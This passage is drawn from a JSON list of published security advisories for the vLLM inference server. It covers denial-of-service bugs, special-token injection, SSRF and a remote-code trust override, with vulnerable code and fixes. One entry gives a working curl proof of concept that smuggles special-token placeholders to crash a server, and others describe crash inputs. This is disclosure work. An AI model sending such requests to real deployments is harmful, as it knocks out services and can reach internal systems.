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The crash is triggered when any request in the batch uses sampling penalty parameters (`repetition_penalty`, `frequency_penalty`, or `presence_penalty`).\n\nA single request with a penalty parameter (e.g., `\"repetition_penalty\": 1.1`) is sufficient to crash the server. The crash is deterministic and immediate — no concurrency, race condition, or special workload is required.\n\n### Details\n\nIn vLLM v0.17.0, the `extract_hidden_states` proposer's `propose()` method returned `sampled_token_ids.unsqueeze(-1)`, producing a tensor of shape `(batch_size, 1)`.\n\nIn [PR #37013](https://github.com/vllm-project/vllm/pull/37013) (first released in v0.18.0), the KV connector interface was refactored out of `propose()`. The return type changed from `tuple[Tensor, KVConnectorOutput | None]` to `Tensor`, and the `.unsqueeze(-1)` call was removed along with the KV connector output:\n\n```python\n# Before (v0.17.0):\nreturn sampled_token_ids.unsqueeze(-1), kv_connector_output # shape (batch_size, 1)\n\n# After (v0.18.0+):\nreturn sampled_token_ids # shape (batch_size, 2) after first decode step\n```\n\nThe refactor missed that `sampled_token_ids` changed semantics between the first and subsequent decode steps. After the first decode step, the rejection sampler allocates its output as `(batch_size, max_spec_len + 1)`. With `num_speculative_tokens=1`, this produces shape `(batch_size, 2)` instead of the expected `(batch_size, 1)`, causing a broadcast shape mismatch during penalty application.\n\n### Impact\n\nAny vLLM deployment between v0.18.0 and v0.19.1 (inclusive) configured with `extract_hidden_states` speculative decoding is affected. A single API request containing any penalty parameter immediately and permanently crashes the EngineCore process, resulting in complete loss of service availability.\n\n### Patches\n\nFixed in [PR #38610](https://github.com/vllm-project/vllm/pull/38610), first included in vLLM v0.20.0. The fix slices the return value to `sampled_token_ids[:, :1]`, ensuring the correct `(batch_size, 1)` shape regardless of the rejection sampler's output dimensions.\n\n### Workarounds\n\n- Upgrade to vLLM v0.20.0 or later.\n- If upgrading is not possible, avoid using `extract_hidden_states` as the speculative decoding method on affected versions.\n- Alternatively, reject or strip penalty parameters (`repetition_penalty`, `frequency_penalty`, `presence_penalty`) from incoming requests at an API gateway before they reach vLLM.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-06T21:45:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-83vm-p52w-f9pw","https://github.com/vllm-project/vllm/pull/38610","https://nvd.nist.gov/vuln/detail/CVE-2026-44223","https://github.com/advisories/GHSA-83vm-p52w-f9pw"],"source_kind":"github","identifiers":["GHSA-83vm-p52w-f9pw","CVE-2026-44223"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T22:00:07.920Z","updated_at":"2026-05-31T18:00:37.759Z","epss_percentage":0.00015,"epss_percentile":0.0349,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04M3ZtLXA1MnctZjlwd84ABWWQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04M3ZtLXA1MnctZjlwd84ABWWQ","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.20.0","vulnerable_version_range":"\u003e= 0.18.0, \u003c 0.20.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04M3ZtLXA1MnctZjlwd84ABWWQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocHY4LXgyNzYtbTU5Zs4ABWN_","url":"https://github.com/advisories/GHSA-hpv8-x276-m59f","title":"vLLM Vulnerable to Remote DoS via Special-Token Placeholders","description":"## Summary\nThis report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.\n\n## Details\n- Affected component: multimodal input position computation.\n- File/functions (paths are indicative):\n - vllm/model_executor/layers/rotary_embedding.py\n - get_input_positions_tensor(...)\n - _vl_get_input_positions_tensor(...)\n- Failure mechanism:\n - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.\n - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.\n\nRepresentative snippet (context):\n```python\n# vllm/model_executor/layers/rotary_embedding.py\n@classmethod\ndef _vl_get_input_positions_tensor(\n cls,\n input_tokens,\n hf_config,\n image_grid_thw,\n video_grid_thw,\n ...,\n):\n # detect video tokens\n video_nums = (vision_tokens == video_token_id).sum()\n # later in processing\n t, h, w = (\n video_grid_thw[video_index][0], # IndexError if no video data\n video_grid_thw[video_index][1],\n video_grid_thw[video_index][2],\n )\n```\n\nAbbreviated call path:\n```\nOpenAI API request\n → vllm.v1.engine.core: step/execute_model\n → vllm.v1.worker.gpu_model_runner: _update_states/execute_model\n → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor\n → _vl_get_input_positions_tensor\n → IndexError: list index out of range\n```\n\n## PoC\n### Environment\n- vLLM: 0.10.0\n- Model: Qwen/Qwen2.5-VL-3B-Instruct\n- Launch server:\n```bash\npython -m vllm.entrypoints.openai.api_server \\\n --model Qwen/Qwen2.5-VL-3B-Instruct \\\n --port 8000\n```\n\n### Request (text-only, no image/video data)\n```bash\ncat \u003e request.json \u003c\u003c'JSON'\n{\n \"model\": \"Qwen/Qwen2.5-VL-3B-Instruct\",\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n { \"type\": \"text\",\n \"text\": \"what's in picture \u003c|vision_start|\u003e\u003c|image_pad|\u003e\u003c|vision_end|\u003e\" }\n ]\n }\n ]\n}\nJSON\n\ncurl -s http://127.0.0.1:8000/v1/chat/completions \\\n -H 'Content-Type: application/json' \\\n --data @request.json\n```\n\n### Observed result\n- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).\n- In some deployments, the worker exits and capacity remains reduced until manual restart.\n\n## Impact\n- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.\n- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).\n- Effect: Request → unhandled exception in position computation → worker termination / service unavailability.\n\n## Fixes\n\n* Changes associated with https://github.com/vllm-project/vllm/issues/32656\n\n## Credits\nPengyu Ding (Infra Security, Ant Group) \nZiteng Xu (Infra Security, Ant Group)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T22:21:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f","https://github.com/vllm-project/vllm/issues/32656","https://nvd.nist.gov/vuln/detail/CVE-2026-44222","https://github.com/advisories/GHSA-hpv8-x276-m59f"],"source_kind":"github","identifiers":["GHSA-hpv8-x276-m59f","CVE-2026-44222"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T23:00:08.441Z","updated_at":"2026-05-31T18:00:40.388Z","epss_percentage":0.00014,"epss_percentile":0.03107,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocHY4LXgyNzYtbTU5Zs4ABWN_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocHY4LXgyNzYtbTU5Zs4ABWN_","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.20.0","vulnerable_version_range":"\u003e= 0.6.1, \u003c 0.20.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocHY4LXgyNzYtbTU5Zs4ABWN_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14MzY4LTRnOWgtZnZ2NM4ABV1i","url":"https://github.com/advisories/GHSA-x368-4g9h-fvv4","title":"vLLM makes Use of Uninitialized Resource","description":"A vulnerability was found in vLLM up to 0.19.0. The affected element is the function has_mamba_layers of the file vllm/v1/kv_cache_interface.py of the component KV Block Handler. Performing a manipulation results in uninitialized resource. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is described as difficult. The exploit has been made public and could be used. The patch is named 1ad67864c0c20f167929e64c875f5c28e1aad9fd. To fix this issue, it is recommended to deploy a patch.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-27T18:32:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.9,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-7141","https://github.com/vllm-project/vllm/issues/39146","https://github.com/vllm-project/vllm/issues/39146#issue-4215090365","https://github.com/vllm-project/vllm/pull/39283","https://github.com/AjAnubolu/vllm/commit/1ad67864c0c20f167929e64c875f5c28e1aad9fd","https://vuldb.com/submit/801297","https://vuldb.com/vuln/359740","https://vuldb.com/vuln/359740/cti","https://github.com/advisories/GHSA-x368-4g9h-fvv4"],"source_kind":"github","identifiers":["GHSA-x368-4g9h-fvv4","CVE-2026-7141"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T18:00:09.102Z","updated_at":"2026-05-31T18:00:39.185Z","epss_percentage":0.00075,"epss_percentile":0.22689,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MzY4LTRnOWgtZnZ2NM4ABV1i","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14MzY4LTRnOWgtZnZ2NM4ABV1i","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.19.1","vulnerable_version_range":"\u003c 0.19.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MzY4LTRnOWgtZnZ2NM4ABV1i/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcTVjLXJqaHEtcXA3cM4ABUtx","url":"https://github.com/advisories/GHSA-pq5c-rjhq-qp7p","title":"vLLM: Denial of Service via Unbounded Frame Count in video/jpeg Base64 Processing","description":"## Summary\n\nThe `VideoMediaIO.load_base64()` method at `vllm/multimodal/media/video.py:51-62` splits `video/jpeg` data URLs by comma to extract individual JPEG frames, but does not enforce a frame count limit. The `num_frames` parameter (default: 32), which is enforced by the `load_bytes()` code path at line 47-48, is completely bypassed in the `video/jpeg` base64 path. An attacker can send a single API request containing thousands of comma-separated base64-encoded JPEG frames, causing the server to decode all frames into memory and crash with OOM.\n\n## Details\n\n### Vulnerable code\n\n```python\n# video.py:51-62\ndef load_base64(self, media_type: str, data: str) -\u003e tuple[npt.NDArray, dict[str, Any]]:\n if media_type.lower() == \"video/jpeg\":\n load_frame = partial(self.image_io.load_base64, \"image/jpeg\")\n return np.stack(\n [np.asarray(load_frame(frame_data)) for frame_data in data.split(\",\")]\n # ^^^^^^^^^^\n # Unbounded split — no frame count limit\n ), {}\n return self.load_bytes(base64.b64decode(data))\n```\n\nThe `load_bytes()` path (line 47-48) properly delegates to a video loader that respects `self.num_frames` (default 32). The `load_base64(\"video/jpeg\", ...)` path bypasses this limit entirely — `data.split(\",\")` produces an unbounded list and every frame is decoded into a numpy array.\n\n### video/jpeg is part of vLLM's public API\n\n`video/jpeg` is a vLLM-specific MIME type, not IANA-registered. However it is part of the public API surface:\n\n- `encode_video_url()` at `vllm/multimodal/utils.py:96-108` generates `data:video/jpeg;base64,...` URLs\n- Official test suites at `tests/entrypoints/openai/test_video.py:62` and `tests/entrypoints/test_chat_utils.py:153` both use this format\n\n### Memory amplification\n\nEach JPEG frame decodes to a full numpy array. For 640x480 RGB images, each frame is ~921 KB decoded. 5000 frames = ~4.6 GB. `np.stack()` then creates an additional copy. The compressed JPEG payload is small (~100 KB for 5000 frames) but decompresses to gigabytes.\n\n### Data flow\n\n```\nPOST /v1/chat/completions\n → chat_utils.py:1434 video_url type → mm_parser.parse_video()\n → chat_utils.py:872 parse_video() → self._connector.fetch_video()\n → connector.py:295 fetch_video() → load_from_url(url, self.video_io)\n → connector.py:91 _load_data_url(): url_spec.path.split(\",\", 1)\n → media_type = \"video/jpeg\"\n → data = \"\u003cframe1\u003e,\u003cframe2\u003e,...,\u003cframe10000\u003e\"\n → connector.py:100 media_io.load_base64(\"video/jpeg\", data)\n → video.py:54 data.split(\",\") ← UNBOUNDED\n → video.py:55-57 all frames decoded into numpy arrays\n → video.py:56 np.stack([...]) ← massive combined array → OOM\n```\n\n`connector.py:91` uses `split(\",\", 1)` which splits on only the first comma. All remaining commas stay in `data` and are later split by `video.py:54`.\n\n### Comparison with existing protections\n\n| Code Path | Frame Limit | File |\n|-----------|-------------|------|\n| `load_bytes()` (binary video) | Yes — `num_frames` (default 32) | video.py:46-49 |\n| `load_base64(\"video/jpeg\", ...)` | No — unlimited `data.split(\",\")` | video.py:51-62 |","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-03T21:51:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-pq5c-rjhq-qp7p","https://github.com/vllm-project/vllm/pull/38636","https://github.com/vllm-project/vllm/commit/58ee61422169ce17e08248f8efa1e9df434fe395","https://nvd.nist.gov/vuln/detail/CVE-2026-34755","https://github.com/advisories/GHSA-pq5c-rjhq-qp7p"],"source_kind":"github","identifiers":["GHSA-pq5c-rjhq-qp7p","CVE-2026-34755"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T22:00:13.847Z","updated_at":"2026-05-31T18:01:09.346Z","epss_percentage":0.00054,"epss_percentile":0.16723,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcTVjLXJqaHEtcXA3cM4ABUtx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcTVjLXJqaHEtcXA3cM4ABUtx","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.19.0","vulnerable_version_range":"\u003e= 0.7.0, \u003c 0.19.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcTVjLXJqaHEtcXA3cM4ABUtx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZjNoLXFqZ3YtdmNwcs4ABUtw","url":"https://github.com/advisories/GHSA-pf3h-qjgv-vcpr","title":"vLLM: Server-Side Request Forgery (SSRF) in `download_bytes_from_url `","description":"### Summary\n\nA Server Side Request Forgery (SSRF) vulnerability in `download_bytes_from_url` allows any actor who can control batch input JSON to make the vLLM batch runner issue arbitrary HTTP/HTTPS requests from the server, without any URL validation or domain restrictions.\n\nThis can be used to target internal services (e.g. cloud metadata endpoints or internal HTTP APIs) reachable from the vLLM host.\n\n------\n\n### Details\n\n#### Vulnerable component\n\nThe vulnerable logic is in the batch runner entrypoint `vllm/entrypoints/openai/run_batch.py`, function `download_bytes_from_url`:\n\n```\n# run_batch.py Lines 442-482\nasync def download_bytes_from_url(url: str) -\u003e bytes:\n \"\"\"\n Download data from a URL or decode from a data URL.\n\n Args:\n url: Either an HTTP/HTTPS URL or a data URL (data:...;base64,...)\n\n Returns:\n Data as bytes\n \"\"\"\n parsed = urlparse(url)\n\n # Handle data URLs (base64 encoded)\n if parsed.scheme == \"data\":\n # Format: data:...;base64,\u003cbase64_data\u003e\n if \",\" in url:\n header, data = url.split(\",\", 1)\n if \"base64\" in header:\n return base64.b64decode(data)\n else:\n raise ValueError(f\"Unsupported data URL encoding: {header}\")\n else:\n raise ValueError(f\"Invalid data URL format: {url}\")\n\n # Handle HTTP/HTTPS URLs\n elif parsed.scheme in (\"http\", \"https\"):\n async with (\n aiohttp.ClientSession() as session,\n session.get(url) as resp,\n ):\n if resp.status != 200:\n raise Exception(\n f\"Failed to download data from URL: {url}. Status: {resp.status}\"\n )\n return await resp.read()\n\n else:\n raise ValueError(\n f\"Unsupported URL scheme: {parsed.scheme}. \"\n \"Supported schemes: http, https, data\"\n )\n```\n\nKey properties:\n\n- The function only parses the URL to dispatch on the scheme (`data`, `http`, `https`).\n- For `http` / `https`, it directly calls `session.get(url)` on the provided string.\n- There is no validation of:\n - hostname or IP address,\n - whether the target is internal or external,\n - port number,\n - path, query, or redirect target.\n- This is in contrast to the multimodal media path (`MediaConnector`), which implements an explicit domain allowlist. `download_bytes_from_url` does not reuse that protection.\n\n#### URL controllability\n\nThe `url` argument is fully controlled by batch input JSON via the `file_url` field of `BatchTranscriptionRequest` / `BatchTranslationRequest`.\n\n1. Batch request body type:\n\n```\n# run_batch.py Line 67-80\nclass BatchTranscriptionRequest(TranscriptionRequest):\n \"\"\"\n Batch transcription request that uses file_url instead of file.\n\n This class extends TranscriptionRequest but replaces the file field\n with file_url to support batch processing from audio files written in JSON format.\n \"\"\"\n\n file_url: str = Field(\n ...,\n description=(\n \"Either a URL of the audio or a data URL with base64 encoded audio data. \"\n ),\n )\n```\n\n```\n# run_batch.py Line 98-111\nclass BatchTranslationRequest(TranslationRequest):\n \"\"\"\n Batch translation request that uses file_url instead of file.\n\n This class extends TranslationRequest but replaces the file field\n with file_url to support batch processing from audio files written in JSON format.\n \"\"\"\n\n file_url: str = Field(\n ...,\n description=(\n \"Either a URL of the audio or a data URL with base64 encoded audio data. \"\n ),\n )\n```\n\nThere is no restriction on the domain, IP, or port of `file_url` in these models.\n\n1. Batch input is parsed directly from the batch file:\n\n```\n# run_batch.py Line 139-179\nclass BatchRequestInput(OpenAIBaseModel):\n ...\n url: str\n body: BatchRequestInputBody\n @field_validator(\"body\", mode=\"plain\")\n @classmethod\n def check_type_for_url(cls, value: Any, info: ValidationInfo):\n url: str = info.data[\"url\"]\n ...\n if url == \"/v1/audio/transcriptions\":\n return BatchTranscriptionRequest.model_validate(value)\n if url == \"/v1/audio/translations\":\n return BatchTranslationRequest.model_validate(value)\n```\n\n```\n# run_batch.py Line 770-781\n logger.info(\"Reading batch from %s...\", args.input_file)\n\n # Submit all requests in the file to the engine \"concurrently\".\n response_futures: list[Awaitable[BatchRequestOutput]] = []\n for request_json in (await read_file(args.input_file)).strip().split(\"\\n\"):\n # Skip empty lines.\n request_json = request_json.strip()\n if not request_json:\n continue\n\n request = BatchRequestInput.model_validate_json(request_json)\n```\n\nThe batch runner reads each line of the input file (`args.input_file`), parses it as JSON, and constructs a `BatchTranscriptionRequest` / `BatchTranslationRequest`. Whatever `file_url` appears in that JSON line becomes `batch_request_body.file_url`.\n\n1. `file_url` is passed directly into `download_bytes_from_url`:\n\n```\n# run_batch.py Line 610-623\ndef wrapper(handler_fn: Callable):\n async def transcription_wrapper(\n batch_request_body: (BatchTranscriptionRequest | BatchTranslationRequest),\n ) -\u003e (\n TranscriptionResponse\n | TranscriptionResponseVerbose\n | TranslationResponse\n | TranslationResponseVerbose\n | ErrorResponse\n ):\n try:\n # Download data from URL\n audio_data = await download_bytes_from_url(batch_request_body.file_url)\n```\n\nSo the data flow is:\n\n1. Attacker supplies JSON line in the batch input file with arbitrary `body.file_url`.\n2. `BatchRequestInput` / `BatchTranscriptionRequest` / `BatchTranslationRequest` parse that JSON and store `file_url` verbatim.\n3. `make_transcription_wrapper` calls `download_bytes_from_url(batch_request_body.file_url)`.\n4. `download_bytes_from_url`’s HTTP/HTTPS branch issues `aiohttp.ClientSession().get(url)` to that attacker-controlled URL with no further validation.\n\nThis is a classic SSRF pattern: a server-side component makes arbitrary HTTP requests to a URL string taken from untrusted input.\n\n#### Comparison with safer code\n\nThe project already contains a safer URL-handling path for multimodal media in `vllm/multimodal/media/connector.py`, which demonstrates the intent to mitigate SSRF via domain allowlists and URL normalization:\n\n```\n# connector.py Lines 169-189\n def load_from_url(\n self,\n url: str,\n media_io: MediaIO[_M],\n *,\n fetch_timeout: int | None = None,\n ) -\u003e _M: # type: ignore[type-var]\n url_spec = parse_url(url)\n\n if url_spec.scheme and url_spec.scheme.startswith(\"http\"):\n self._assert_url_in_allowed_media_domains(url_spec)\n\n connection = self.connection\n data = connection.get_bytes(\n url_spec.url,\n timeout=fetch_timeout,\n allow_redirects=envs.VLLM_MEDIA_URL_ALLOW_REDIRECTS,\n )\n\n return media_io.load_bytes(data)\n```\n\nand:\n\n```\n# connector.py Lines 158-167\n def _assert_url_in_allowed_media_domains(self, url_spec: Url) -\u003e None:\n if (\n self.allowed_media_domains\n and url_spec.hostname not in self.allowed_media_domains\n ):\n raise ValueError(\n f\"The URL must be from one of the allowed domains: \"\n f\"{self.allowed_media_domains}. Input URL domain: \"\n f\"{url_spec.hostname}\"\n )\n```\n\n`download_bytes_from_url` does not reuse this allowlist or any equivalent validation, even though it also fetches user-provided URLs.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-03T21:51:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-pf3h-qjgv-vcpr","https://github.com/vllm-project/vllm/pull/38482","https://github.com/vllm-project/vllm/commit/57861ae48d3493fa48b4d7d830b7ec9f995783e7","https://nvd.nist.gov/vuln/detail/CVE-2026-34753","https://github.com/advisories/GHSA-pf3h-qjgv-vcpr"],"source_kind":"github","identifiers":["GHSA-pf3h-qjgv-vcpr","CVE-2026-34753"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T22:00:13.847Z","updated_at":"2026-05-31T18:01:09.346Z","epss_percentage":0.00046,"epss_percentile":0.14562,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjNoLXFqZ3YtdmNwcs4ABUtw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZjNoLXFqZ3YtdmNwcs4ABUtw","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.19.0","vulnerable_version_range":"\u003e= 0.16.0, \u003c 0.19.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjNoLXFqZ3YtdmNwcs4ABUtw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zbXdwLXd2aDktNzUyOM4ABUr7","url":"https://github.com/advisories/GHSA-3mwp-wvh9-7528","title":"vLLM: Unauthenticated OOM Denial of Service via Unbounded `n` Parameter in OpenAI API Server","description":"### Summary\nA Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the `n` parameter in the `ChatCompletionRequest` and `CompletionRequest` Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large `n` value. This completely blocks the Python `asyncio` event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue.\n\n### Details\nThe root cause of this vulnerability lies in the missing upper bound checks across the request parsing and asynchronous scheduling layers:\n\n1. **Protocol Layer:**\n In `vllm/entrypoints/openai/chat_completion/protocol.py`, the `n` parameter is defined simply as an integer without any `pydantic.Field` constraints for an upper bound.\n```python\nclass ChatCompletionRequest(OpenAIBaseModel):\n # Ordered by official OpenAI API documentation\n # https://platform.openai.com/docs/api/reference/chat/create\n messages: list[ChatCompletionMessageParam]\n model: str | None = None\n frequency_penalty: float | None = 0.0\n logit_bias: dict[str, float] | None = None\n logprobs: bool | None = False\n top_logprobs: int | None = 0\n max_tokens: int | None = Field(\n default=None,\n deprecated=\"max_tokens is deprecated in favor of \"\n \"the max_completion_tokens field\",\n )\n max_completion_tokens: int | None = None\n n: int | None = 1\n presence_penalty: float | None = 0.0\n```\n\n1. **SamplingParams Layer (Incomplete Validation):**\n When the API request is converted to internal `SamplingParams` in `vllm/sampling_params.py`, the `_verify_args` method only checks the lower bound (`self.n \u003c 1`), entirely omitting an upper bounds check.\n```python\n def _verify_args(self) -\u003e None:\n if not isinstance(self.n, int):\n raise ValueError(f\"n must be an int, but is of type {type(self.n)}\")\n if self.n \u003c 1:\n raise ValueError(f\"n must be at least 1, got {self.n}.\")\n```\n\n1. **Engine Layer (The OOM Trigger):**\n When the malicious request reaches the core engine (`vllm/v1/engine/async_llm.py`), the engine attempts to fan out the request `n` times to generate identical independent sequences within a synchronous loop.\n```python\n # Fan out child requests (for n\u003e1).\n parent_request = ParentRequest(request)\n for idx in range(parent_params.n):\n request_id, child_params = parent_request.get_child_info(idx)\n child_request = request if idx == parent_params.n - 1 else copy(request)\n child_request.request_id = request_id\n child_request.sampling_params = child_params\n await self._add_request(\n child_request, prompt_text, parent_request, idx, queue\n )\n return queue\n```\n Because Python's `asyncio` runs on a single thread and event loop, this monolithic `for`-loop monopolizes the CPU thread. The server stops responding to all other connections (including liveness probes). Simultaneously, the memory allocator is overwhelmed by cloning millions of request object instances via `copy(request)`, driving the host's Resident Set Size (RSS) up by gigabytes per second until the OS `OOM-killer` terminates the vLLM process.\n\n### Impact\n**Vulnerability Type:** Resource Exhaustion / Denial of Service\n\n**Impacted Parties:**\n- Any individual or organization hosting a public-facing vLLM API server (`vllm.entrypoints.openai.api_server`), which happens to be the primary entrypoint for OpenAI-compatible setups.\n- SaaS / AI-as-a-Service platforms acting as reverse proxies sitting in front of vLLM without strict HTTP body payload validation or rate limitations.\n\nBecause this vulnerability exploits the control plane rather than the data plane, an unauthenticated remote attacker can achieve a high success rate in taking down production inference hosts with a single HTTP request. This effectively circumvents any hardware-level capacity planning and conventional bandwidth stress limitations.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-03T15:35:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-3mwp-wvh9-7528","https://github.com/vllm-project/vllm/pull/37952","https://github.com/vllm-project/vllm/commit/b111f8a61f100fdca08706f41f29ef3548de7380","https://nvd.nist.gov/vuln/detail/CVE-2026-34756","https://github.com/advisories/GHSA-3mwp-wvh9-7528"],"source_kind":"github","identifiers":["GHSA-3mwp-wvh9-7528","CVE-2026-34756"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T16:00:10.301Z","updated_at":"2026-05-31T18:01:09.353Z","epss_percentage":0.00049,"epss_percentile":0.15531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbXdwLXd2aDktNzUyOM4ABUr7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zbXdwLXd2aDktNzUyOM4ABUr7","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.19.0","vulnerable_version_range":"\u003e= 0.1.0, \u003c 0.19.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbXdwLXd2aDktNzUyOM4ABUr7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03OTcyLXBnMngteHI1Oc4ABUXs","url":"https://github.com/advisories/GHSA-7972-pg2x-xr59","title":"vLLM has Hardcoded Trust Override in Model Files Enables RCE Despite Explicit User Opt-Out","description":"### Summary\n\n Two model implementation files hardcode `trust_remote_code=True` when loading sub-components, bypassing the user's explicit `--trust-remote-code=False` security opt-out. This enables remote code execution via malicious model\n repositories even when the user has explicitly disabled remote code trust.\n\n ### Details\n\n **Affected files (latest main branch):**\n\n 1. `vllm/model_executor/models/nemotron_vl.py:430`\n ```python\n vision_model = AutoModel.from_config(config.vision_config, trust_remote_code=True)\n```\n\n 2. vllm/model_executor/models/kimi_k25.py:177\n \n```python\n cached_get_image_processor(self.ctx.model_config.model, trust_remote_code=True)\n```\n\n Both pass a hardcoded trust_remote_code=True to HuggingFace API calls, overriding the user's global --trust-remote-code=False setting.\n\n Relation to prior CVEs:\n - CVE-2025-66448 fixed auto_map resolution in vllm/transformers_utils/config.py (config loading path)\n - CVE-2026-22807 fixed broader auto_map at startup\n - Both fixes are present in the current code. These hardcoded instances in model files survived both patches — different code paths.\n\n### Impact\n\n Remote code execution. An attacker can craft a malicious model repository that executes arbitrary Python code when loaded by vLLM, even when the user has explicitly set --trust-remote-code=False. This undermines the security guarantee\n that trust_remote_code=False is intended to provide.\n\n Remediation: Replace hardcoded trust_remote_code=True with self.config.model_config.trust_remote_code in both files. Raise a clear error if the model component requires remote code but the user hasn't opted 